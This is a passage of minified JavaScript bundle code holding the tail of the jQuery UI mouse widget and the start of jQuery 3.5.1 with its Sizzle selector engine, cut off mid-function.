this.options.cancel||!n.target.nodeName)&&e(n.target).closest(this.options.cancel).length;return!(i&&!s&&this._mouseCapture(n)&&(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout((function(){r.mouseDelayMet=!0}),this.options.delay)),this._mouseDistanceMet(n)&&this._mouseDelayMet(n)&&(this._mouseStarted=!1!==this._mouseStart(n),!this._mouseStarted)?(n.preventDefault(),0):(!0===e.data(n.target,this.widgetName+".preventClickEvent")&&e.removeData(n.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(e){return r._mouseMove(e)},this._mouseUpDelegate=function(e){return r._mouseUp(e)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),n.preventDefault(),t=!0,0)))}},_mouseMove:function(t){if(this._mouseMoved){if(e.ui.ie&&(!document.documentMode||document.documentMode<9)&&!t.button)return this._mouseUp(t);if(!t.which)if(t.originalEvent.altKey||t.originalEvent.ctrlKey||t.originalEvent.metaKey||t.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else if(!this.ignoreMissingWhich)return this._mouseUp(t)}return(t.which||t.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=!1!==this._mouseStart(this._mouseDownEvent,t),this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(n){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,n.target===this._mouseDownEvent.target&&e.data(n.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(n)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete this._mouseDelayTimer),this.ignoreMissingWhich=!1,t=!1,n.preventDefault()},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}})})?r.apply(t,i):r)||(e.exports=s)},9755:function(e,t){var n;!function(t,n){"use strict";"object"==typeof e.exports?e.exports=t.document?n(t,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return n(e)}:n(t)}("undefined"!=typeof window?window:this,(function(r,i){"use strict";var s=[],a=Object.getPrototypeOf,o=s.slice,d=s.flat?function(e){return s.flat.call(e)}:function(e){return s.concat.apply([],e)},u=s.push,l=s.indexOf,c={},h=c.toString,m=c.hasOwnProperty,p=m.toString,f=p.call(Object),_={},y=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},g=function(e){return null!=e&&e===e.window},v=r.document,M={type:!0,src:!0,nonce:!0,noModule:!0};function L(e,t,n){var r,i,s=(n=n||v).createElement("script");if(s.text=e,t)for(r in M)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&s.setAttribute(r,i);n.head.appendChild(s).parentNode.removeChild(s)}function D(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?c[h.call(e)]||"object":typeof e}var Y="3.5.1",w=function(e,t){return new w.fn.init(e,t)};function b(e){var t=!!e&&"length"in e&&e.length,n=D(e);return!y(e)&&!g(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}w.fn=w.prototype={jquery:Y,constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,(function(t,n){return e.call(t,n,t)})))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(w.grep(this,(function(e,t){return(t+1)%2})))},odd:function(){return this.pushStack(w.grep(this,(function(e,t){return t%2})))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:s.sort,splice:s.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,s,a=arguments[0]||{},o=1,d=arguments.length,u=!1;for("boolean"==typeof a&&(u=a,a=arguments[o]||{},o++),"object"==typeof a||y(a)||(a={}),o===d&&(a=this,o--);o<d;o++)if(null!=(e=arguments[o]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(u&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],s=i&&!Array.isArray(n)?[]:i||w.isPlainObject(n)?n:{},i=!1,a[t]=w.extend(u,s,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+(Y+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==h.call(e))&&(!(t=a(e))||"function"==typeof(n=m.call(t,"constructor")&&t.constructor)&&p.call(n)===f)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){L(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(b(e))for(n=e.length;r<n&&!1!==t.call(e[r],r,e[r]);r++);else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(b(Object(e))?w.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:l.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,s=e.length,a=!n;i<s;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,s=0,a=[];if(b(e))for(r=e.length;s<r;s++)null!=(i=t(e[s],s,n))&&a.push(i);else for(s in e)null!=(i=t(e[s],s,n))&&a.push(i);return d(a)},guid:1,support:_}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=s[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),(function(e,t){c["[object "+t+"]"]=t.toLowerCase()}));var T=function(e){var t,n,r,i,s,a,o,d,u,l,c,h,m,p,f,_,y,g,v,M="sizzle"+1*new Date,L=e.document,D=0,Y=0,w=de(),b=de(),T=de(),k=de(),S=function(e,t){return e===t&&(c=!0),0},x={}.hasOwnProperty,H=[],E=H.pop,j=H.push,P=H.push,C=H.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",A="[\\x20\\t\\r\\n\\f]",F="(?:\\\\[\\da-fA-F]{1,6}[\\x20\\t\\r\\n\\f]?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",z="\\[[\\x20\\t\\r\\n\\f]*("+F+")(?:"+A+"*([*^$|!~]?=)"+A+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+F+"))|)"+A+"*\\]",N=":("+F+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+z+")*)|.*)\\)|)",I=new RegExp(A+"+","g"),W=new RegExp("^[\\x20\\t\\r\\n\\f]+|((?:^|[^\\\\])(?:\\\\.)*)[\\x20\\t\\r\\n\\f]+$","g"),B=new RegExp("^[\\x20\\t\\r\\n\\f]*,[\\x20\\t\\r\\n\\f]*"),U=new RegExp("^[\\x20\\t\\r\\n\\f]*([>+~]|[\\x20\\t\\r\\n\\f])[\\x20\\t\\r\\n\\f]*"),G=new RegExp(A+"|>"),V=new RegExp(N),J=new RegExp("^"+F+"$"),q={ID:new RegExp("^#("+F+")"),CLASS:new RegExp("^\\.("+F+")"),TAG:new RegExp("^("+F+"|[*])"),ATTR:new RegExp("^"+z),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\([\\x20\\t\\r\\n\\f]*(even|odd|(([+-]|)(\\d*)n|)[\\x20\\t\\r\\n\\f]*(?:([+-]|)[\\x20\\t\\r\\n\\f]*(\\d+)|))[\\x20\\t\\r\\n\\f]*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^[\\x20\\t\\r\\n\\f]*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\([\\x20\\t\\r\\n\\f]*((?:-\\d)?\\d*)[\\x20\\t\\r\\n\\f]*\\)|)(?=[^-]|$)","i")},$=/HTML$/i,Z=/^(?:input|select|textarea|button)$/i,K=/^h\d$/i,X=/^[^{]+\{\s*\[native \w/,Q=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}[\\x20\\t\\r\\n\\f]?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"�":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},se=function(){h()},ae=Me((function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()}),{dir:"parentNode",next:"legend"});try{P.apply(H=C.call(L.childNodes),L.childNodes),H[L.childNodes.length].nodeType}catch(e){P={apply:H.length?function(e,t){j.apply(e,C.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}function oe(e,t,r,i){var s,o,u,l,c,p,y,g=t&&t.ownerDocument,L=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==L&&9!==L&&11!==L)return r;if(!i&&(h(t),t=t||m,f)){if(11!==L&&(c=Q.exec(e)))if(s=c[1]){if(9===L){if(!(u=t.getElementById(s)))return r;if(u.id===s)return r.push(u),r}else if(g&&(u=g.getElementById(s))&&v(t,u)&&u.id===s)return r.push(u),r}else{if(c[2])return P.apply(r,t.getElementsByTagName(e)),r;if((s=c[3])&&n.getElementsByClassName&&t.getElementsByClassName)return P.apply(r,t.getElementsByClassName(s)),r}if(n.qsa&&!k[e+" "]&&(!_||!_.test(e))&&(1!==L||"object"!==t.nodeName.toLowerCase())){if(y=e,g=t,1===L&&(G.test(e)||U.test(e))){for((g=ee.test(e)&&ye(t.parentNode)||t)===t&&n.scope||((l=t.getAttribute("id"))?l=l.replace(re,ie):t.setAttribute("id",l=M)),o=(p=a(e)).length;o--;)p[o]=(l?"#"+l:":scope")+" "+ve(p[o]);y=p.join(",")}try{return P.apply(r,g.querySelectorAll(y)),r}catch(t){k(e,!0)}finally{l===M&&t.removeAttribute("id")}}}return d(e.replace(W,"$1"),t,r,i)}function de(){var e=[];return function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}}function ue(e){return e[M]=!0,e}function le(e){var t=m.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ce(e,t){for(var n=e.split("|"),i=n.length;i--;)r.attrHandle[n[i]]=t}function he(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function me(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function fe(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ae(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function _e(e){return ue((function(t){return t=+t,ue((function(n,r){for(var i,s=e([],n.length,t),a=s.length;a--;)n[i=s[a]]&&(n[i]=!(r[i]=n[i]))}))}))}function ye(e){return e&&void 0!==e.getElementsByTagName&&e}for(t in n=oe.support={},s=oe.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument||e).documentElement;return!$.test(t||n&&n.nodeName||"HTML")},h=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:L;return a!=m&&9===a.nodeType&&a.documentElement?(p=(m=a).documentElement,f=!s(m),L!=m&&(i=m.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",se,!1):i.attachEvent&&i.attachEvent("onunload",se)),n.scope=le((function(e){return p.appendChild(e).appendChild(m.createElement("div")),void 0!==e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length})),n.attributes=le((function(e){return e.className="i",!e.getAttribute("className")})),n.getElementsByTagName=le((function(e){return e.appendChild(m.createComment("")),!e.getElementsByTagName("*").length})),n.getElementsByClassName=X.test(m.getElementsByClassName),n.getById=le((function(e){return p.appendChild(e).id=M,!m.getElementsByName||!m.getElementsByName(M).length})),n.getById?(r.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if(void 0!==t.getElementById&&f){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(te,ne);return function(e){var n=void 0!==e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if(void 0!==t.getElementById&&f){var n,r,i,s=t.getElementById(e);if(s){if((n=s.getAttributeNode("id"))&&n.value===e)return[s];for(i=t.getElementsByName(e),r=0;s=i[r++];)if((n=s.getAttributeNode("id"))&&n.value===e)return[s]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return void 0!==t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,s=t.getElementsByTagName(e);if("*"===e){for(;n=s[i++];)1===n.nodeType&&r.push(n);return r}return s},r.find.CLASS=n.getElementsByClassName&&function(e,t){if(void 0!==t.getElementsByClassName&&f)return t.getElementsByClassName(e)},y=[],_=[],(n.qsa=X.test(m.querySelectorAll))&&(le((function(e){var t;p.appendChild(e).innerHTML="<a id='"+M+"'></a><select id='"+M+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&_.push("[*^$]=[\\x20\\t\\r\\n\\f]*(?:''|\"\")"),e.querySelectorAll("[selected]").length||_.push("\\[[\\x20\\t\\r\\n\\f]*(?:value|"+R+")"),e.querySelectorAll("[id~="+M+"-]").length||_.push("~="),(t=m.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||_.push("\\[[\\x20\\t\\r\\n\\f]*name[\\x20\\t\\r\\n\\f]*=[\\x20\\t\\r\\n\\f]*(?:''|\"\")"),e.querySelectorAll(":checked").length||_.push(":checked"),e.querySelectorAll("a#"+M+"+*").length||_.push(".#.+[+~]"),e.querySelectorAll("\\\f"),_.push("[\\r\\n\\f]")})),le((function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=m.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&_.push("name[\\x20\\t\\r\\n\\f]*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&_.push(":enabled",":disabled"),p.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&_.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),_.push(",.*:")}))),(n.matchesSelector=X.test(g=p.matches||p.webkitMatchesSelector||p.mozMatchesSelector||p.oMatchesSelector||p.msMatchesSelector))&&le((function(e){n.disconnectedMatch=g.call(e,"*"),g.call(e,"[s!='']:x"),y.push("!=",N)})),_=_.length&&new RegExp(_.join("|")),y=y.length&&new RegExp(y.join("|")),t=X.test(p.compareDocumentPosition),v=t||X.test(p.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},S=t?function(e,t){if(e===t)return c=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e==m||e.ownerDocument==L&&v(L,e)?-1:t==m||t.ownerDocument==L&&v(L,t)?1:l?O(l,e)-O(l,t):0:4&r?-1:1)}:function(e,t){if(e===t)return c=!0,0;var n,r=0,i=e.parentNode,s=t.parentNode,a=[e],o=[t];if(!i||!s)return e==m?-1:t==m?1:i?-1:s?1:l?O(l,e)-O(l,t):0;if(i===s)return he(e,t);for(n=e;n=n.parentNode;)a.unshift(n);for(n=t;n=n.parentNode;)o.unshift(n);for(;a[r]===o[r];)r++;return r?he(a[r],o[r]):a[r]==L?-1:o[r]==L?1:0},m):m},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if(h(e),n.matchesSelector&&f&&!k[t+" "]&&(!y||!y.test(t))&&(!_||!_.test(t)))try{var r=g.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){k(t,!0)}return oe(t,m,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!=m&&h(e),v(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!=m&&h(e);var i=r.attrHandle[t.toLowerCase()],s=i&&x.call(r.attrHandle,t.toLowerCase())?i(e,t,!f):void 0;return void 0!==s?s:n.attributes||!f?e.getAttribute(t):(s=e.getAttributeNode(t))&&s.specified?s.value:null},oe.escape=function(e){return(e+"").replace(re,ie)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,s=0;if(c=!n.detectDuplicates,l=!n.sortStable&&e.slice(0),e.sort(S),c){for(;t=e[s++];)t===e[s]&&(i=r.push(s));for(;i--;)e.splice(r[i],1)}return l=null,e},i=oe.getText=function(e){var t,n="",r=0,s=e.nodeType;if(s){if(1===s||9===s||11===s){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===s||4===s)return e.nodeValue}else for(;t=e[r++];)n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:ue,match:q,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return q.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&V.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=w[e+" "];return t||(t=new RegExp("(^|[\\x20\\t\\r\\n\\f])"+e+"("+A+"|$)"))&&w(e,(function(e){return t.test("string"==typeof e.className&&e.className||void 0!==e.getAttribute&&e.getAttribute("class")||"")}))},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace(I," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var s="nth"!==e.slice(0,3),a="last"!==e.slice(-4),o="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,d){var u,l,c,h,m,p,f=s!==a?"nextSibling":"previousSibling",_=t.parentNode,y=o&&t.nodeName.toLowerCase(),g=!d&&!o,v=!1;if(_){if(s){for(;f;){for(h=t;h=h[f];)if(o?h.nodeName.toLowerCase()===y:1===h.nodeType)return!1;p=f="only"===e&&!p&&"nextSibling"}return!0}if(p=[a?_.firstChild:_.lastChild],a&&g){for(v=(m=(u=(l=(c=(h=_)[M]||(h[M]={}))[h.uniqueID]||(c[h.uniqueID]={}))[e]||[])[0]===D&&u[1])&&u[2],h=m&&_.childNodes[m];h=++m&&h&&h[f]||(v=m=0)||p.pop();)if(1===h.nodeType&&++v&&h===t){l[e]=[D,m,v];break}}else if(g&&(v=m=(u=(l=(c=(h=t)[M]||(h[M]={}))[h.uniqueID]||(c[h.uniqueID]={}))[e]||[])[0]===D&&u[1]),!1===v)for(;(h=++m&&h&&h[f]||(v=m=0)||p.pop())&&((o?h.nodeName.toLowerCase()!==y:1!==h.nodeType)||!++v||(g&&((l=(c=h[M]||(h[M]={}))[h.uniqueID]||(c[h.uniqueID]={}))[e]=[D,v]),h!==t)););return(v-=i)===r||v%r==0&&v/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[M]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?ue((function(e,n){for(var r,s=i(e,t),a=s.length;a--;)e[r=O(e,s[a])]=!(n[r]=s[a])})):function(e){return i(e,0,n)}):i}},pseudos:{not:ue((function(e){var t=[],n=[],r=o(e.replace(W,"$1"));return r[M]?ue((function(e,t,n,i){for(var s,a=r(e,null,i,[]),o=e.length;o--;)(s=a[o])&&(e[o]=!(t[o]=s))})):function(e,i,s){return t[0]=e,r(t,null,s,n),t[0]=null,!n.pop()}})),has:ue((function(e){return function(t){return oe(e,t).length>0}})),contains:ue((function(e){return e=e.replace(te,ne),function(t){return(t.textContent||i(t)).indexOf(e)>-1}})),lang:ue((function(e){return J.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(te,ne).toLowerCase(),function(t){var n;do{if(n=f?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}})),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===p},focus:function(e){return e===m.activeElement&&(!m.hasFocus||m.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:fe(!1),disabled:fe(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return K.test(e.nodeName)},input:function(e){return Z.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:_e((function(){return[0]})),last:_e((function(e,t){return[t-1]})),eq:_e((function(e,t,n){return[n<0?n+t:n]})),even:_e((function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e})),odd:_e((function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e})),lt:_e((function(e,t,n){for(var r=n<0?n+t:n>t?t:n;--r>=0;)e.push(r);return e})),gt:_e((function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e}))}}).pseudos.nth=r.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=me(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ge(){}function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function Me(e,t,n){var r=t.dir,i=t.next,s=i||r,a=n&&"parentNode"===s,o=Y++;return t.first?function(t,n,i){for(;t=t[r];)if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,d){var u,l,c,h=[D,o];if(d){for(;t=t[r];)if((1===t.nodeType||a)&&e(t,n,d))return!0}else for(;t=t[r];)if(1===t.nodeType||a)if(l=(c=t[M]||(t[M]={}))[t.uniqueID]||(c[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((u=l[s])&&u[0]===D&&u[1]===o)return h[2]=u[2];if(l[s]=h,h[2]=e(t,n,d))return!0}return!1}}function Le(e){return e.length>1?function(t,n,r){for(var i=e.length;i--;)if(!e[i](t,n,r))return!1;return!0}:e[0]}function De(e,t,n,r,i){for(var s,a=[],o=0,d=e.length,u=null!=t;o<d;o++)(s=e[o])&&(n&&!n(s,r,i)||(a.push(s),u&&t.push(o)));return a}function Ye(e,t,n,r,i,s){return r&&!r[M]&&(r=Ye(r)),i&&!i[M]&&(i=Ye(i,s)),ue((function(s,a,o,d){var u,l,c,h=[],m=[],p=a.length,f=s||function(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}(t||"*",o.nodeType?[o]:o,[]),_=!e||!s&&t?f:De(f,h,e,o,d),y=n?i||(s?e:p||r)?[]:a:_;if(n&&n(_,y,o,d),r)for(u=De(y,m),r(u,[],o,d),l=u.length;l--;)(c=u[l])&&(y[m[l]]=!(_[m[l]]=c));if(s){if(i||e){if(i){for(u=[],l=y.length;l--;)(c=y[l])&&u.push(_[l]=c);i(null,y=[],u,d)}for(l=y.length;l--;)(c=y[l])&&(u=i?O(s,c):h[l])>-1&&(s[u]=!(a[u]=c))}}else y=De(y===a?y.splice(p,y.length):y),i?i(null,a,y,d):P.apply(a,y)}))}function we(e){for(var t,n,i,s=e.length,a=r.relative[e[0].type],o=a||r.relative[" "],d=a?1:0,l=Me((function(e){return e===t}),o,!0),c=Me((function(e){return O(t,e)>-1}),o,!0),h=[function(e,n,r){var i=!a&&(r||n!==u)||((t=n).nodeType?l(e,n,r):c(e,n,r));return t=null,i}];d<s;d++)if(n=r.relative[e[d].type])h=[Me(Le(h),n)];else{if((n=r.filter[e[d].type].apply(null,e[d].matches))[M]){for(i=++d;i<s&&!r.relative[e[i].type];i++);return Ye(d>1&&Le(h),d>1&&ve(e.slice(0,d-1).concat({value:" "===e[d-2].type?"*":""})).replace(W,"$1"),n,d<i&&we(e.slice(d,i)),i<s&&we(e=e.slice(i)),i<s&&ve(e))}h.push(n)}return Le(h)}return ge.prototype=r.filters=r.pseudos,r.setFilters=new ge,a=oe.tokenize=function(e,t){var n,i,s,a,o,d,u,l=b[e+" "];if(l)return t?0:l.slice(0);for(o=e,d=[],u=r.preFilter;o;){for(a in n&&!(i=B.exec(o))||(i&&(o=o.slice(i[0].length)||o),d.push(s=[])),n=!1,(i=U.exec(o))&&(n=i.shift(),s.push({value:n,type:i[0].replace(W," ")}),o=o.slice(n.length)),r.filter)!(i=q[a].exec(o))||u[a]&&!(i=u[a](i))||(n=i.shift(),s.push({value:n,type:a,matches:i}),o=o.slice(n.length));if(!n)break}return t?o.length:o?oe.error(e):b(e,d).slice(0)},o=oe.compile=function(e,t){var n,i=[],s=[],o=T[e+" "];if(!o){for(t||(t=a(e)),n=t.length;n--;)(o=we(t[n]))[M]?i.push(o):s.push(o);(o=T(e,function(e,t){var n=t.length>0,i=e.length>0,s=function(s,a,o,d,l){var c,p,_,y=0,g="0",v=s&&[],M=[],L=u,Y=s||i&&r.find.TAG("*",l),w=D+=null==L?1:Math.random()||.1,b=Y.length;for(l&&(u=a==m||a||l);g!==b&&null!=(c=Y[g]);g++){if(i&&c){for(p=0,a||c.ownerDocument==m||(h(c),o=!f);_=e[p++];)if(_(c,a||m,o)){d.push(c);break}l&&(D=w)}n&&((c=!_&&c)&&y--,s&&v.push(c))}if(y+=g,n&&g!==y){for(p=0;_=t[p++];)_(v,M,a,o);if(s){if(y>0)for(;g--;)v[g]||M[g]||(M[g]=E.call(d));M=De(M)}P.apply(d,M),l&&!s&&M.length>0&&y+t.length>1&&oe.uniqueSort(d)}return l&&(D=w,u=L),v};return n?ue(s):s}(s,i))).selector=e}return o},d=oe.select=function(e,t,n,i){var s,d,u,l,c,h="function"==typeof e&&e,m=!i&&a(e=h.selector||e);if(n=n||[],1===m.length){if((d=m[0]=m[0].slice(0)).length>2&&"ID"===(u=d[0]).type&&9===t.nodeType&&f&&r.relative[d[1].type]){if(!(t=(r.find.ID(u.matches[0].replace(te,ne),t)||[])[0]))return n;h&&(t=t.parentNode),e=e.slice(d.shift().value.length)}for(s=q.needsContext.test(e)?0:d.length;s--&&(u=d[s],!r.relative[l=u.type]);)if((c=r.find[l])&&(i=c(u.matches[0].replace(te,ne),ee.test(d[0].type)&&ye(t.parentNode)||t))){if(d.splice(s,1),!(e=i.length&&ve(d)))return 